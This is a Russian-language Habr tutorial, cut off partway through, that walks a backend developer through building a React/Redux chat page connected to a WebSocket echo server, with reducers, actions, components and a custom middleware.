Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/525580/ | null | ru | null |
# Быстрый курс Redux + websockets для бэкендера
> Всем привет из 2018! Оригинальный [react-redux-universal-hot-example](https://github.com/erikras/react-redux-universal-hot-example) прекратил развитие в 2017 году, но его можно собрать на версии 6.14.2, на 8 и выше версии будут ошибки. Но есть его форк
>
> <https://github.com/bertho-zero/react-redux-universal-hot-example>, где продолжается разработка и поддерживаются более свежие версии Nodejs.
Это краткое руководство и обучение по фронтэнеду для бэкендера. В данном руководстве я решаю проблему быстрого построения пользовательского интерфейса к серверному приложению в виде одностраничного веб-приложения (single page app).
Основной целью моего исследования является возможность за разумное время (для одного ~~нормального~~ человека) получить удобный и простой в использовании интерфейс-черновик к серверному приложению. Мы (как разработчики серверной части) понимаем, что наш приоритет — серверная часть. Когда (в гипотетическом проекте) появятся во фронте профи своего дела, они все сделают красиво и "правильно".
В роли учебной задачи представлена страничка чата с каким-то умозрительным "ботом", который работает на стороне сервера и принимает сообщение только через WebSocket. Бот при этом выполняет эхо ваших сообщений (мы тут не рассматриваем серверную часть вообще).
Мне для изложения материала требуется, чтобы вы имели:
* базовое знание javascript (тут нужно поискать в интернете справочник по крайней версии js стандартов ES-2015)
* знание reactjs (на уровне обучения <https://facebook.github.io/react/tutorial/tutorial.html>)
* понятие о websockets (это очень просто, главное чтобы ваш сервер это умел)
* знание и умение использовать bootstrap (на уровне этого раздела <http://getbootstrap.com/css/>)
Что используем
--------------
Redux — официальная документация расположена по адресу <http://redux.js.org>. По-русски есть несколько вариантов, я лично использовал в основном <https://rajdee.gitbooks.io/redux-in-russian/content/docs/introduction/index.html>.
Статью exec64, она стала причиной написать этот тутриал <https://exec64.co.uk/blog/websockets_with_redux/>.
Готовый сервер с react и redux от <https://github.com/erikras/react-redux-universal-hot-example>(он нам спасает человеко-месяцы времени по настройке большой связки технологий, которые необходимы для современного js проекта)
Мотивация
---------
Вообще я разрабатываю приложение на языке Python. Погоди-погоди уходить ...
Что мне было нужно:
* мне нужно чтобы реализация интерфейса не диктовала мне выбор технологий на стороне серверной части
* современные технологии (мне нечего было терять или быть чем-то обязанным "старым проверенным приемам")
* это должно быть одностраничное приложений (я уже сам выберу, где можно обновлять страницу целиком)
* мне нужна реакция пользовательского интерфейса в реальном времени на серверные события
* мне нужен обмен информацией сервер-клиент (а не клиент-сервер) в реальном времени
* мне нужна возможность генерировать обновления клиента на сервере
Что было испробовано:
* вариации на тему на чистом js (устарело, есть много полезных моделей велосипеда)
* JQuery (~~уже не могу ТАК извратить так свой мозг~~, крайне сложный для быстрого старта синтаксис и… это дело профессионалов)
* Angular (переход на 2 версию спугнул и не нашел за отведенное время лазейки к решению моей задачи)
* Socket.io (там все реализовано, если вы node.js программист вы уже его используете, но он слишком сильно привязывает серверную часть на node, мне нужен только клиент без третьих лиц)
Выбрано в итоге:
* React (понятно и доступно/просто + babel = делает язык вполне понятным)
* Redux (импонирует использование ~~единой помойки~~ единого хранилища)
* WebSockets (очень просто и не связывает руки, а позволяет внутри себя уже применять такой формат какой позволит фантазия)
Упрощения и допущения:
----------------------
* Мы не будем использовать авторизации в приложении
* Мы не будет использовать авторизации в WebSocket-ах
* Мы будем использовать самое доступное приложение Websocket Echo (<https://www.websocket.org/echo.html>)
Содержание
----------
* Часть первая. Первоначальная настройка. Настройка одной страницы
* Часть вторая. Проектирование будущего приложения
* Часть третья. Изумительный Redux
* Часть четвертая. Оживляем историю
* Часть пятая. Проектируем чат
* Часть шестая. Мидлваре
Как читать
==========
Не будете повторять — пропускайте часть 1
Знаете reactjs — пропускайте часть 2
Знаете redux — пропускайте части 3, 4 и 5
Знаете как работает middleware в redux — смело читайте часть 6 и далее в обратном порядке.
Часть первая. Первоначальная настройка. Настройка страницы.
===========================================================
Настройка окружения
-------------------
Нам нужен node.js и npm.
Ставим node.js с сайта <https://nodejs.org> — а именно этот гайд написан на 6ой версии, версию 7 тестировал — все работает.
npm устанавливается вместе с node.js
Далее нужно запустить npm и обновить node.js (для windows все тоже самое без npm)
```
sudo npm cache clean -f
sudo npm install -g n
sudo n stable
```
проверяем
```
node -v
```
Настройка react-redux-universal-hot-example
-------------------------------------------
Все выложено в [react-redux-universal-hot-example](https://github.com/erikras/react-redux-universal-hot-example), там же инструкция по установке.
Тут привожу последовательность действий
1. Скачиваем и разархивируем архив/форкаем/что-угодно-как-вам-нравится.
2. Через node.js command line или терминал переходим в эту папку
3. Запускаем
```
npm install
npm run dev
```
Переходим на <http://localhost:3000> и должны видеть стартовую страницу.
Если все ок — приступаем.
Создаем новый контейнер
-----------------------
Для настройки раздела используем предоставленную справку от команды [react-redux-universal-hot-example](https://github.com/erikras/react-redux-universal-hot-example). Оригинал статьи находится [тут](https://github.com/erikras/react-redux-universal-hot-example/blob/master/docs/AddingAPage/AddingAPage.md).
```
cd ./src/containers && mkdir ./SocketExample
```
Копируем туда hello.js как шаблон странички
-------------------------------------------
```
cp About/About.js Hello/SocketExamplePage.js
```
Я использую для всего этого Atom, как действительно прекрасный редактор-чего-угодно с некоторыми плюшками.
Правим скопированный файл
-------------------------
Создаем заглушку под нашу страница. Вводим элемент . Позже будем выводить статус соединения в этот элемент.
```
import React, {Component} from 'react';
import Helmet from 'react-helmet';
export default class SocketExamplePage extends Component {
render() {
return (
Socket Exapmle Page
===================
Sockets not connected
);
}
}
```
### Подключаем созданную страницу
Добавляем в `./src/containers/index.js` новый компонент React
```
export SocketExamplePage from './SocketExample/SocketExamplePage';
```
Добавляем в `./src/routes.js`, чтобы связать переход по пунти `/socketexamplepage` в карту ссылок
```
...
import {
App,
Chat,
Home,
Widgets,
About,
Login,
LoginSuccess,
Survey,
NotFound,
SocketExamplePage
} from 'containers';
...
{ /* Routes */ }
...
```
Добавляем в `./src/containers/App/App.js`, чтобы добавить пункт в меню
```
Socket Example Page
```
Проверяем
```
npm run dev
```
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/69935996671fc5dd64062143526d1a00b49afcbd>
На данный момент мы имеем:
* Раздел веб приложения
* Страничка на React для нашего приложения
* Заготовка, чтобы идти дальше
> Прежде чем начнем. Я все разрабатывал в обратном порядке — сначала крутил мидлваре, потом прокидывал экшены и только потом уже прикручивал адекватный интерфейс в reactjs. Мы в руководстве будем делать все в правильном порядке, потому что так действительно быстрее и проще. Минус моего подхода в том, что я использовал в разы больше отладки и "костылей", чем нужно на самом деле. Будем рациональными.
Часть вторая. Проектирование будущего приложения
================================================
Сначала мы проектируем интерфейс пользователя. Для этого мы примерно представляем, как должен выглядеть скелет нашего интерфейса и какие действия будут происходить в нем.
В руководстве для начинающих React представлен подход по проектированию динамических приложений на React, от которого мы не будем отклоняться, а прямо будем следовать по нему.
Дэн Абрамов писал в своей документации много про то, что и как нужно разделять в приложении и как организовывать структуру приложения. Мы будем следовать его примеру.
Итак начнем.
------------
Прежде всего хочу сказать, что для наглядности и отладки прямо при написании приложения мы будем добавлять элементы уберем с формы после окончания работы.
### Пользовательский интерфейс "Вариант 1"
Мы добавляем два новых раздела на нашу страницу.
В логе подключения сокетов будем кратко выводить текущие события, связанные с подключением отключением. Изменяем файл `./src/containers/SocketExample/SocketExamplePage.js`.
```
// inside render () { return (...) }
### Socket connection log
```
> index — порядковый номер записи лога
>
>
>
> loaded — признак загружен ли элемент на странице пользователя
>
>
>
> message — переменна-сообщение для отладки и наглядности кода
>
>
>
> connected — признак подключены ли мы сейчас к серверу
Конечно мы забыли про кнопки и поля ввода, добавляем:
* подключиться к websocket
* отключиться от websocket
```
Connect
Disconnect
```
В логе сообщений будем отображать отправленные `->` и полученные сообщения `<-`.
```
// inside render () { return (...) }
### Message log
* Socket string
* [ECHO] Socket string
```
Кнопка и ввод для отправить сообщение
```
Send
```
> Не нажимайте кнопку Send
Проверяем и закомитимся для получения полного кода.
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/510a59f732a9bf42e070e7f57e970a2307661739>
### Пользовательский интерфейс Вариант 2. Компоненты.
Давайте разделим все на компоненты. Ничего сложного.
Создаем новую папку в директории `./src/components` назовем ее `SocketExampleComponents`.
Добавление компонента происходит в три шага:
1 — создаем файл с компонентом в нашей папке `SocketConnectionLog.js`
> мы оборачиваем в содержимое компонента в div так как от нас этого ожидает React
```
import React, {Component} from 'react';
export default class SocketConnectionLog extends Component {
render() {
return (
### Socket connection log
Connect
Disconnect
);
}
}
```
2 — прописываем наш новый компонент в файле `components/index.js`
```
export SocketConnectionLog from './SocketExampleComponents/SocketConnectionLog';
```
3 — правим нашу страницу `./src/components/SocketExamplePage.js` и вместо скопированного нами кода вставляем только один элемент
```
import {SocketConnectionLog} from 'components';
// ...
```
Добавляем другой новый компонент в ту же папку `./src/components/SocketExampleComponents`.
Добавляем в три шага
1 — создаем файл с компонентом в нашей папке `SocketMessageLog.js`
```
import React, {Component} from 'react';
export default class SocketMessageLog extends Component {
render() {
return (
### Message log
* Socket string
* [ECHO] Socket string
Send
);
}
}
```
2 — прописываем наш новый компонент в файле `./src/components/index.js`
```
export SocketMessageLog from './SocketExampleComponents/SocketMessageLog';
```
3 — правим нашу страницу и вместо скопированного нами кода вставляем только один элемент
```
// ...
import {SocketMessageLog} from 'components';
// ...
```
Проверяем. Ничего не изменилось и это успех.
Коммит:
<https://github.com/valentinmk/react-redux-universal-hot-example/commit/97a6526020a549f2ddf91370ac70dbc0737f167b>
Заканчиваем 2 часть.
Часть третья. Изумительный Redux
================================
Переходим сразу к Redux.
Для этого нужно:
1. Создать редюсер
2. Создать экшены
3. И подключить все это в общую систему
> Про экшены написано [В официальной документации](http://redux.js.org/docs/basics/Actions.html)
>
> Про редюсеры написано [Там же](http://redux.js.org/docs/basics/Reducers.html)
### Создаем файл
Создаем файл `./src/redux/modules/socketexamplemodule.js` и наполняем базовыми экшенами и редюсерами. Вот тут базовом примере есть странная нестыковка, все предлагается писать в одном файле, не разделяя на файл экшенов и редюсеров, ну допустим. Все равно — мы тут все взрослые люди (we are all adults).
### Экшены 1
```
export const SOCKETS_CONNECTING = 'SOCKETS_CONNECTING';
export const SOCKETS_DISCONNECTING = 'SOCKETS_DISCONNECTING';
export const SOCKETS_MESSAGE_SENDING = 'SOCKETS_MESSAGE_SENDING';
export const SOCKETS_MESSAGE_RECEIVING = 'SOCKETS_MESSAGE_RECEIVING';
```
Все экшены мы будем запускать по нажатию кнопок, кроме события `SOCKETS_MESSAGE_RECEIVING`, который мы будем синтетически вызывать вслед за отправкой сообщения. Это делается, чтобы в процессе разработки эмулировать недостающие в настоящий момент (или на конкретном этапе) функционал серверной части приложения.
### Редюсер
Добавляем в тот же файл.
```
export default function reducer(state = initialState, action = {}) {
switch (action.type) {
case SOCKETS_CONNECTING:
return Object.assign({}, state, {
loaded: true,
message: 'Connecting...',
connected: false
});
case SOCKETS_DISCONNECTING:
return Object.assign({}, state, {
loaded: true,
message: 'Disconnecting...',
connected: true
});
case SOCKETS_MESSAGE_SENDING:
return Object.assign({}, state, {
loaded: true,
message: 'Send message',
connected: true
});
case SOCKETS_MESSAGE_RECEIVING:
return Object.assign({}, state, {
loaded: true,
message: 'Message receive',
connected: true
});
default:
return state;
}
}
```
Более подробно про структуру reducer и зачем `Object.assign({}, state,{});` можно прочитать [тут](http://redux.js.org/docs/basics/Reducers.html).
Вы заметили инициализацию state = initialState, которой мы не объявили (поставьте ESLint или его аналог — сильно упростит жизнь Нормального Человека). Добавим объявление до редюсера. Это будет первое состояние, которое мы будем иметь в нашем сторе на момент загрузки страницы, ну точнее страница будет загружаться уже с этим первоначальным состоянием.
```
const initialState = {
loaded: false,
message: 'Just created',
connected: false,
};
```
### Экшены 2
Теперь продолжим с нашими экшенами и на этом завершим этот модуль. Мы должны описать, как они будут изменять состояние reducer'a.
Добавляем в тот же файл.
```
export function socketsConnecting() {
return {type: SOCKETS_CONNECTING};
}
export function socketsDisconnecting() {
return {type: SOCKETS_DISCONNECTING};
}
export function socketsMessageSending() {
return {type: SOCKETS_MESSAGE_SENDING};
}
export function socketsMessageReceiving() {
return {type: SOCKETS_MESSAGE_RECEIVING};
}
```
### Подключаем в общий редюсер
На данный момент в приложении ничего не поменяется. Включаем наш модуль в общий конструктор reducer'ов.
В фале `./src/redux/modules/reducer.js` прописываем модуль.
```
import socketexample from './socketexamplemodule';
```
и включаем его в общую структуру результирующего редюсера
```
export default combineReducers({
routing: routerReducer,
reduxAsyncConnect,
auth,
form,
multireducer: multireducer({
counter1: counter,
counter2: counter,
counter3: counter
}),
info,
pagination,
widgets,
// our hero
socketexample
});
```
Запускаем сервер, проверяем и ура в DevTools мы видим.
Если вопросы с initialState остались, то попробуйте их поменять или добавить новую переменную в него.
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/0c984e3b5bc25056aa578ee57f90895bc6baaf18>
### Стор
А стор у нас уже создан и редюсер в него подключен. Ничего не делаем.
Если подробнее, то вы должны помнить, как мы добавили наш редюсер в `combineReducers` выше по статье. Так вот этот `combineReducers` сам включается в стор, который создаётся в файле `./src/redux/create.js`.
Подключаем стор к react компонентам
-----------------------------------
Подключаем все это теперь в наши модули. В целях всесторонней демонстрации начнем с модуля истории и сделаем из него чистый компонент react (в смысле чистый от redux).
Компонент `SocketConnectionLog` мы пока не трогаем, а идем сразу в контейнер `SocketExamplePage`.
В данном контейнере мы будем подключать и получать данные из redux.
Подключаем библиотеку в файле `./src/containers/SocketExample/SocketExamplePage.js`.
```
import {connect} from 'react-redux';
```
Забираем экшены, чтобы потом их использовать у себя в react.
```
import * as socketExampleActions from 'redux/modules/socketexamplemodule';
```
а еще мы поменяем строку, чтобы подключить PropTypes
```
import React, {Component, PropTypes} from 'react';
```
Пишем коннектор, которым будем забирать данные из нашего редюсера.
```
@connect(
state => ({
loaded: state.socketexample.loaded,
message: state.socketexample.message,
connected: state.socketexample.connected}),
socketExampleActions)
```
Как вы видите `state.socketexample.loaded` это обращение в redux, в той структуре, которую мы видим в DevTools.
Теперь подключаем проверки данных, получаемых из redux, что видится целесообразным т.к. любые проверки данных на тип есть вселенское добро.
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool
}
```
Мы получили данные теперь давайте их передавать. Внутри блока render объявляем и принимаем данные уже теперь из props.
```
const {loaded, message, connected} = this.props;
```
и спокойно и уверенно передаем их в наш модуль:
Мы передали новые данные (через react) в компонент. Теперь переписываем наш компонент, который уже ничего не знает про стор (redux), а только обрабатывает переданные ему данные.
В файле `./src/components/SocketExampleComponents/SocketConnectionLog.js` действуем по списку:
1. проверяем полученные props
2. присваиваем их внутри render
3. используем в нашем компоненте
Начнем, импортируем недостающие библиотеки:
```
import React, {Component, PropTypes} from 'react';
```
добавляем проверку:
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool
}
```
объявляем и присваиваем переменные, переданные через props
```
const {loaded, message, connected} = this.props;
```
используем для вывода наши переменные
```
value={'index =' + 0 + ', loaded = ' + loaded + ', message = ' + message + ', connected = ' + connected}/>
{/* value="
index = 2, loaded = true, message = Connected, connected = true
index = 1, loaded = false, message = Connecting..., connected = false"/>
*/}
```
Проверяем и видим, initialState прилетает к нам прямо из redux->react->props->props.
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/60ac05332e35dfdbc11b9415f5bf5c46cd740ba8>
### SocketExampleMessageLog
Теперь переходим к компоненту `SocketExampleMessageLog` и сделаем его абсолютно самостоятельным, в смысле работы со стором. Мы не будем передавать в него никакие props, он будет получать все, что ему нужно из стор сам.
Открываем файл `./src/components/SocketExampleComponents/SocketMessageLog.js`
в нем добавляем необходимые нам библиотеки
```
import React, {Component, PropTypes} from 'react';
import {connect} from 'react-redux';
import * as socketExampleActions from 'redux/modules/socketexamplemodule';
```
добавляем `connect`, проверку типов и используем полученные данные
```
@connect(
state => ({
loaded: state.socketexample.loaded,
message: state.socketexample.message,
connected: state.socketexample.connected}),
socketExampleActions)
export default class SocketMessageLog extends Component {
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool
}
// ...
```
Не забываем передать значение в метод render() через props
```
const {loaded, message, connected} = this.props;
```
Мы будем использовать `loaded` и `connected`, чтобы определять готовность к обмену сообщения, а `message` выведем просто для проверки.
```
* {message}
* [ECHO] {message}
```
Я буду проверять переменные `loaded` и `connected` явно, чтобы быть более прозрачным для (возможных) потомков.
```
Send
```
Полпути пройдено.
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/a473d6a86262f2d2b52c590974e77df9454de5a1>.
Часть четвертая. Оживляем историю
=================================
В предыдущих частя мы все подготовили к тому, чтобы начать использовать стор.
В этой части мы будем связывать события в react и состояния в стор. Начнем.
Оживим историю подключений в нашем компоненте `./src/components/SocketExampleComponents/SocketConnectionLog.js`.
Но как мы помним, он ничего про стор не знает. Это означает, что он ничего не знает про экшены и поэтому ему их нужно передать через контейнер `./src/containers/SocketExample/SocketExamplePage.js`. Просто передаем компоненту их как будто это простые props.
Вообще все функции экшенов мы подключили через [connect](https://habr.com/users/connect/). Стоп. Подробней. Вспомним.
```
//....
import * as socketExampleActions from 'redux/modules/socketexamplemodule';
//....
@connect(
state => ({
loaded: state.socketexample.loaded,
message: state.socketexample.message,
connected: state.socketexample.connected}),
socketExampleActions)
```
Поэтому просто включаем их в проверку в файле `./src/containers/SocketExample/SocketExamplePage.js`:
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
socketsConnecting: PropTypes.func,
socketsDisconnecting: PropTypes.func
}
```
и передаем в наш компонент
```
render() {
const {loaded, message, connected, socketsConnecting, socketsDisconnecting} = this.props;
return (
Socket Exapmle Page
===================
);
}
```
Теперь давайте обеспечим прием преданных в компонент экшенов в файле `./src/components/SocketExampleComponents/SocketConnectionLog.js`.
Мы будем добавлять их (экшены) в проверку и использовать в наших обработчиках действий на форме. Обработчиков сделаем два: по клику кнопки "Connect" и "Disconnect".
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
connectAction: PropTypes.func,
disconnectAction: PropTypes.func
}
handleConnectButton = (event) => {
event.preventDefault();
this.props.connectAction();
}
handleDisconnectButton = (event) => {
event.preventDefault();
this.props.disconnectAction();
}
```
Прописываем вызов обработчиков функций по нажатию соответствующих кнопок.
```
render() {
const {loaded, message, connected} = this.props;
return (
### Socket connection log
```
Ну теперь все работает правильно.
> НО далее мы поменяем эти значения на исходные, это важный момент. Событие попытки подключения не тождественно состоянию подключено (да я кэп).
Реализуем историю подключения. Главное ограничение принцип работы самого стора. Мы нее можем изменять само состояние, но мы можем его целиком пересоздавать и присваивать. Поэтому чтобы накапливать историю мы будем ее копировать, прибавлять к копии текущее состояние и присваивать это значение оригиналу (с которого сняли копию).
```
case SOCKETS_CONNECTING:
return Object.assign({}, state, {
loaded: true,
message: 'Connecting...',
connected: true,
history: [
...state.history,
{
loaded: true,
message: 'Connecting...',
connected: true
}
]
});
case SOCKETS_DISCONNECTING:
return Object.assign({}, state, {
loaded: true,
message: 'Disconnecting...',
connected: false,
history: [
...state.history,
{
loaded: true,
message: 'Disconnecting...',
connected: false
}
]
});
```
Делаем отображение в том же элементе. Прежде всего передаем переменную истории через props в файле `./src/containers/SocketExample/SocketExamplePage.js`. Далее в файле `./src/components/SocketExampleComponents/SocketConnectionLog.js` принимает переданную переменную.
Приступим в файле `./src/containers/SocketExample/SocketExamplePage.js` забираем из стора:
```
@connect(
state => ({
loaded: state.socketexample.loaded,
message: state.socketexample.message,
connected: state.socketexample.connected,
history: state.socketexample.history
}),
socketExampleActions)
```
проверяем на тип
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
history: PropTypes.array,
socketsConnecting: PropTypes.func,
socketsDisconnecting: PropTypes.func
}
```
присваиваем и передаем
```
render() {
const {loaded, message, connected, socketsConnecting, socketsDisconnecting, history} = this.props;
return (
Socket Exapmle Page
===================
);
```
Принимаем уже в файле `./src/components/SocketExampleComponents/SocketConnectionLog.js`.
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
history: PropTypes.array,
connectAction: PropTypes.func,
disconnectAction: PropTypes.func
}
```
Для вывода истории в лог нам уже на самом деле не требуются текущие значения `loaded`, `message`, `connected`.
Давайте выведем в историю в обратной хронологии, так чтобы актуально состояние всегда было сверху.
```
render() {
const {history} = this.props;
return (
### Socket connection log
'index = ' + index +
' loaded = ' + historyElement.loaded.toString() +
' message = ' + historyElement.message.toString() +
' connected = ' + historyElement.connected.toString() + ' \n').reverse()
}/>
Connect
Disconnect
);
```
Главное, что нужно не забыть это добавить `history` при инициализации редюсера, иначе наши проверки не будут срабатывать.
В файле `./src/redux/modules/socketexamplemodule.js`.
```
const initialState = {
loaded: false,
message: 'Just created',
connected: false,
history: []
};
```
Проверяем. И получаем нашу запись в истории подключения, но почему то с запятыми. Javascript, WTF? Ну да ладно, если мы добавим после мапа и реверса .join(''), то это все решает.
> ".join('') все решает.", Карл!
Какой у нас результат? Читаем и пишем в стор! Можно себя похвалить! Но этого явно мало, ведь мы делаем это только внутри своей же собственной странички и никак не общаемся с внешним миром.
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/24144226ea4c08ec1af5db3a5e9b37461be2dbdd>
Часть пятая. Проектируем чат
============================
У нас есть заготовка для подключения/отключения к сокету. Теперь мы должны сделать оболочку для чата, она станет нашим рабочем моделью (прототип у нас уже есть).
С чатом мы выполним такие же действия, как и с логом (историей) подключений — добавим историю чата и научим ее выводить.
Полный цикл будет выглядеть так:
* В редаксе нужно:
+ объявить новую переменную и инициализировать,
+ описать для нее экшены,
+ описать как данная переменна будет изменяться.
* В компоненте нужно:
+ принять эту переменную,
+ включить ее в отображение,
+ связать кнопку на интерфейсе и экшены.
### Настройка редюсера
Начнем с файле `./src/redux/modules/socketexamplemodule.js` нам нужно
добавить новую переменную.
```
const initialState = {
loaded: false,
message: 'Just created',
connected: false,
history: [],
message_history: []
};
```
У нас уже есть экшены `SOCKETS_MESSAGE_SENDING` и `SOCKETS_MESSAGE_RECEIVING`. Дополнительных экшенов создавать не будет.
Приступаем к описанию, как будет себя вести нам нужно просто описать как будет работать редюсер.
```
case SOCKETS_MESSAGE_SENDING:
return Object.assign({}, state, {
loaded: true,
message: 'Send message',
connected: true,
message_history: [
...state.message_history,
{
direction: '->',
message: action.message_send
}
]
});
case SOCKETS_MESSAGE_RECEIVING:
return Object.assign({}, state, {
loaded: true,
message: 'Message receive',
connected: true,
message_history: [
...state.message_history,
{
direction: '<-',
message: action.message_receive
}
]
});
```
Обратите внимание на переменные переменный `action.message_receive` и `action.message_send`. С помощью них мы изменяем состояние нашего стора. Переменные будут передаваться внутри экшенов.
Реализуем передачу переменных в стор из экшенов.
```
export function socketsMessageSending(sendMessage) {
return {type: SOCKETS_MESSAGE_SENDING, message_send: sendMessage};
}
export function socketsMessageReceiving(sendMessage) {
return {type: SOCKETS_MESSAGE_RECEIVING, message_receive: sendMessage};
}
```
Остановимся. Откуда-то из кода мы будем запускать эти экшены и передавать им по одной переменной `sendMessage` или `sendMessage`. Чтобы запустить эти экшены мы можем использовать абсолютно разные способы, но в нашем случае мы будем запускать экшены по нажатию кнопок. Пока мы просто моделируем работу чата на стороне клиента и постепенно у нас получается модель будущего приложения.
Мы выполнили работы со стороны редюсера и переходим к настройке отображения и управления из компонента.
### Настройка интерфейса
Мы помним, как для истории подключения мы использовали возможности react и передачу информации из контейнера. В случае с сообщениями наш компонент сам по себе.
Подключаем новую переменную, которую мы получаем из стора в файле `./src/components/SocketExampleComponents/SocketMessageLog.js`.
```
@connect(
state => ({
loaded: state.socketexample.loaded,
message: state.socketexample.message,
connected: state.socketexample.connected,
message_history: state.socketexample.message_history
}),
socketExampleActions)
export default class SocketMessageLog extends Component {
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
message_history: PropTypes.array,
socketsMessageSending: PropTypes.func
}
```
Теперь нам нужны функции, которые будут обрабатывать нажатия кнопок на форме.
```
handleSendButton = (event) => {
event.preventDefault();
this.props.socketsMessageSending(this.refs.message_text.value);
this.refs.message_text.value = '';
}
```
Подробнее, забираем по ссылке из поля `message_text`. Передаем `message_text` в наш экшен оправки сообщения. Стираем значение в этом поле для ввода нового.
Добавляем переменную в props.
```
const {loaded, connected, message_history} = this.props;
```
Выводим лог сообщений, по аналогии с подключением
```
{
message\_history.map((messageHistoryElement, index) =>
* {messageHistoryElement.message}
)}
```
> Не пытайтесь использовать более вложенные ветвления — это у вас не получится. Т.е. не пытайтесь использовать вложенные ' '?' ':' '. Вас будут от этого защищать. Причина — здесь не место вычислений данных. Здесь вообще про интерфейс.
Обновляем форму и кнопки
```
Send
```
Тестируем и видим отправленные сообщения.
Давайте имитировать получение сообщения. Будем делать это в лоб.
```
handleSendButton = (event) => {
event.preventDefault();
this.props.socketsMessageSending(this.refs.message_text.value);
this.props.socketsMessageReceiving(this.refs.message_text.value);
this.refs.message_text.value = '';
}
```
Подробнее, в дополнение к предыдущей версии мы вызывает экшен получения сообщения и передаем в него наше сообщение `this.refs.message_text.value`.
Не забываем добавить новые элементы в проверку!
```
static propTypes = {
loaded: PropTypes.bool,
message: PropTypes.string,
connected: PropTypes.bool,
message_history: PropTypes.array,
socketsMessageSending: PropTypes.func,
socketsMessageReceiving: PropTypes.func
}
```
Отлично, ~~скучная~~ кропотливая часть закончилась!
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/5158391cdd53545408637fd732c981f17852e84b>.
Мидлваре
========
Более подробно о мидлваре в редаксе можно почитать на официальном сайте <http://redux.js.org/docs/advanced/Middleware.html>.
А еще вот та самая статья <https://exec64.co.uk/blog/websockets_with_redux/>.
Давайте создадим наш собственный мидлваре, в котором будем реализовывать интерфейс к сервису, построенному на websockets.
### Первый проход
Создаем новый файл `./src/redux/middleware/socketExampleMiddleware.js`
В этот файл нам нужно добавить экшены, которыми мы будем манипулировать. По своему принципу мидлваре напоминает структуру редюсера, но этому будет проиллюстрировано ниже.
Для начала просто проверяем, что концепция работает и делаем тестовый прототип, который будет подтверждением подхода.
```
import * as socketExampleActions from 'redux/modules/socketexamplemodule';
export default function createSocketExampleMiddleware() {
let socketExample = null;
socketExample = true;
socketExampleActions();
return store => next => action => {
switch (action.type) {
default:
console.log(store, socketExample, action);
return next(action);
}
};
}
```
Подробнее. Вообще мидлваре управляет самим стором и как он обрабатывает события и состояния внутри себя. Использую конструкцию `return store => next => action =>` мы вмешиваемся в каждый экшен происходящий в сторе и по полю `switch (action.type)` выполняем те или иные действия.
У нас сейчас действительно простой пример и логирование в консоль самый просто способ посмотреть, что у нас прилетает в переменных `store, socketExample, action`. (`socketExampleActions();` оставили просто, чтобы не ругался валидатор, вообще они нам понадобятся в будущем).
Не проверяем, у нас ничего не работает, потому что мы не подключили наш класс в мидлваре. Исправляем.
В файле `./src/redux/create.js` меняем пару строк.
```
import createSocketExampleMiddleware from './middleware/socketExampleMiddleware';
//...
const middleware = [
createMiddleware(client),
reduxRouterMiddleware,
thunk,
createSocketExampleMiddleware()
];
```
Запускаем проверяем. Теперь в консоли полный беспорядок и это означает, что наш концепт работает!
Коммит: <https://github.com/valentinmk/react-redux-universal-hot-example/commit/7833a405be3445e58e8e672e9db03f8cfbfde022>
### Второй проход. Делаем лог историю.
Мы проверили концепцию и готовы делать нашу боевую модель. Теперь будем подключаться к websockets.
> Здесь и далее даются варианты написания кода, которые иллюстрируют ход разработки. Эти примеры содержат преднамеренные ошибки, которые показывают основные технические проблемы и особенности, с которыми я столкнулся в рамках подготовительных работ.
Добавляем в файл `./src/redux/middleware/socketExampleMiddleware.js` функции, которыми будем обрабатывать события подключения и отключения.
```
const onOpen = (token) => evt => {
console.log('WS is onOpen');
console.log('token ' + token);
console.log('evt ' + evt.data);
};
const onClose = () => evt => {
console.log('WS is onClose');
console.log('evt ' + evt.data);
};
```
убираем лишние объявления (нужно удалить)
```
socketExample = true;
socketExampleActions();
```
добавляем наши редюсеры и убираем лишнее логирование.
```
case 'SOCKETS_CONNECT':
if (socketExample !== null) {
console.log('SOCKETS_DISCONNECTING');
store.dispatch(socketExampleActions.socketsDisconnecting());
socket.close();
}
console.log('SOCKETS_CONNECTING');
socketExample = new WebSocket('ws://echo.websocket.org/');
store.dispatch(socketExampleActions.socketsConnecting());
socketExample.onclose = onClose();
socketExample.onopen = onOpen(action.token);
break;
default:
return next(action);
```
Подробнее. Начинаем разбираться. Мы ловим событие `SOCKETS_CONNECT`, проверяем подключены ли мы, если нет то запускаем принудительное закрытие подключения, создаем новый веб сокет и добавляем ему методы `onClose()` и `onOpen(action.token)`. Понимает, что сейчас ничего не работает. Мы ловим экшен `SOCKETS_CONNECT`, которого у нас пока нет. Но у нас есть другой экшен `SOCKETS_CONNECTING`, почему бы не использовать его — меняем скрипт.
```
case 'SOCKETS_CONNECTING':
if (socketExample !== null) {
console.log('SOCKETS_DISCONNECTING');
store.dispatch(SocketExampleActions.socketsDisconnecting());
socket.close();
}
console.log('SOCKETS_CONNECTING');
socketExample = new WebSocket('ws://echo.websocket.org/');
store.dispatch(SocketExampleActions.socketsConnecting());
socketExample.onclose = onClose();
socketExample.onopen = onOpen(action.token);
break;
default:
return next(action);
```
> !!! Внимание после этого скрипт будет находиться в бесконечном цикле — сохраните все или не нажимайте кнопку подключиться на этом этапе.
